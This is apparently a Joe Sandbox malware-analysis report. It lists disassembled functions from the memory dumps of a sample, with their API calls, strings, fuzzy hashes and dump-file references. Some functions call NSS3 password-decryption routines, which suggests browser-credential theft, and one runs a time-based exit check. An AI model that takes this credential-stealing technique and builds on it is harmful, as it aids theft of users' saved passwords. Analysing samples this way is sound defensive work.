Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: f45805089619a71755837323d24abdae3e6d913769b380b215bf031696e70dee
Instruction ID: e9ed3dc115a9ddf0c181778c56f30f73d3749a4c93095122ba2ca551e05dba3b
Opcode Fuzzy Hash: f45805089619a71755837323d24abdae3e6d913769b380b215bf031696e70dee
Instruction Fuzzy Hash: C6F1CFB181011E9ADB19EB60CC99EFE7778BF94340F4041A9A50E62095EF746B4ACF52

Function 005EC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005EC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005EC87C
PK11_GetInternalKeySlot.NSS3 ref: 005EC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 005EC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 005EC8EB
lstrcat.KERNEL32(?,00600B46), ref: 005EC943
lstrcat.KERNEL32(?,00600B47), ref: 005EC957
PK11_FreeSlot.NSS3(?), ref: 005EC961
lstrcat.KERNEL32(?,00600B4E), ref: 005EC978

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 5145a1be0e67dad9b4e9f20378dcba864d00660bbaccd27c43516d4c53321cef
Instruction ID: a42518877ae60f6759c37496bf60ed309aef2e85a6da81ccef404759b5fc60c8
Opcode Fuzzy Hash: 5145a1be0e67dad9b4e9f20378dcba864d00660bbaccd27c43516d4c53321cef
Instruction Fuzzy Hash: 0141827590420AEFDB14CFA4DC89BFEBBB8BF44304F1045A8E509A7280D7749A85CF91

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 009ADC11 Relevance: 11.6, Strings: 8, Instructions: 1585COMMON

Download Yara Rule

Strings

LuW, xrefs: 009ADFC2
WLon, xrefs: 009AEBD5
p8;O, xrefs: 009ADE90
v{, xrefs: 009AE053
$s, xrefs: 009AE973
jU, xrefs: 009AEBEB
|-, xrefs: 009AEF1E
JwG, xrefs: 009AEEAD

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $s$LuW$WLon$jU$p8;O$JwG$v{$|-
API String ID: 0-2336246670
Opcode ID: 00390f282eaa994b1ffdef25b2a876f573b50f6f819357ca6be4b0414fda18ff
Instruction ID: 9be1d845b328c9f17e57ca24ec3eb161ebf813b8cb4a6c7a6fea330384b919c6
Opcode Fuzzy Hash: 00390f282eaa994b1ffdef25b2a876f573b50f6f819357ca6be4b0414fda18ff
Instruction Fuzzy Hash: B1B204B360C204AFE304AE29EC8567AFBE5EF94720F16493DE6C5C3744EA7598018797

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C65DAF6
8, xrefs: 6C65DC08
9, xrefs: 6C65DE7F
1, xrefs: 6C65DBDD
0, xrefs: 6C65DC7F
, xrefs: 6C65DA88
0, xrefs: 6C65D852
-, xrefs: 6C65D7DD

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 009AF6CF Relevance: 10.4, Strings: 7, Instructions: 1619COMMON

Download Yara Rule

Strings

7g_{, xrefs: 009AF8CE
$${>, xrefs: 009B09E8
&f:, xrefs: 009AFC8F
e'~, xrefs: 009B075B
&Nn, xrefs: 009B0155
66, xrefs: 009AF81C
6*Y, xrefs: 009B0335

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $${>$&Nn$&f:$6*Y$7g_{$66$e'~
API String ID: 0-2768941984
Opcode ID: 6603ea3b612764dfdb17851c620d1c0d956beccd79ebaf4a05534df75eca5996
Instruction ID: 6b5eaf4983f930dd3e0d9bdee65a41f7ae230e15f8454907dec25cfc7594363b
Opcode Fuzzy Hash: 6603ea3b612764dfdb17851c620d1c0d956beccd79ebaf4a05534df75eca5996
Instruction Fuzzy Hash: D9B247F360C3049FE304AE2DEC8567AFBE9EF94720F1A853DEAC487744E93558058696

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C921F, 6C6C56C7, 6C6C9459, 6C6C5703, 6C6C9269, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C921F, 6C6C56C7, 6C6C9459, 6C6C5703, 6C6C9269, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 005E9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,005E4EEE,00000000,?), ref: 005E9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9B2A
LocalFree.KERNEL32(?,?,?,?,005E4EEE,00000000,?), ref: 005E9B3F

Strings

N^, xrefs: 005E9AD4, 005E9AE1, 005E9AF9, 005E9B18, 005E9AE4, 005E9B1B

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N^
API String ID: 4291131564-102271716
Opcode ID: 71a2ba0f41ab36c1d0d4b95adf8124869537ed176536a41e1731ed66e0d426e8
Instruction ID: 10d277b7304c482eab99587b46fe0351a30776a1eaa98b4a65f11b21e998a4b8
Opcode Fuzzy Hash: 71a2ba0f41ab36c1d0d4b95adf8124869537ed176536a41e1731ed66e0d426e8
Instruction Fuzzy Hash: E111A2B4240208BFEB14CF64DC95FAA77B9FB89700F208058FA159B390C7B6A941CB90

Function 009A6DB4 Relevance: 7.9, Strings: 5, Instructions: 1685COMMON

Download Yara Rule

Strings

%8_w, xrefs: 009A76F1
8K>m, xrefs: 009A7522
J]{7, xrefs: 009A7CE2
fJ;>, xrefs: 009A6F0F
;4K], xrefs: 009A6E6D

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %8_w$8K>m$;4K]$J]{7$fJ;>
API String ID: 0-1648720701
Opcode ID: 3e58287865c3ecb1e7e9de7af188adf280cb05f087a6ae10f3b3f49a542868cc
Instruction ID: 68c996220d796bd47fd85dff6cda4b049f21a3f7e1c6739cf182b6d095b091ac
Opcode Fuzzy Hash: 3e58287865c3ecb1e7e9de7af188adf280cb05f087a6ae10f3b3f49a542868cc
Instruction Fuzzy Hash: E2B2E7F360C204AFE304AE2DEC4567AB7E9EFD4720F1A493DE6C5C3744EA3598058696

Function 005F6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 005F696C
sscanf.NTDLL ref: 005F6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005F69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005F69C0
ExitProcess.KERNEL32 ref: 005F69DA

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
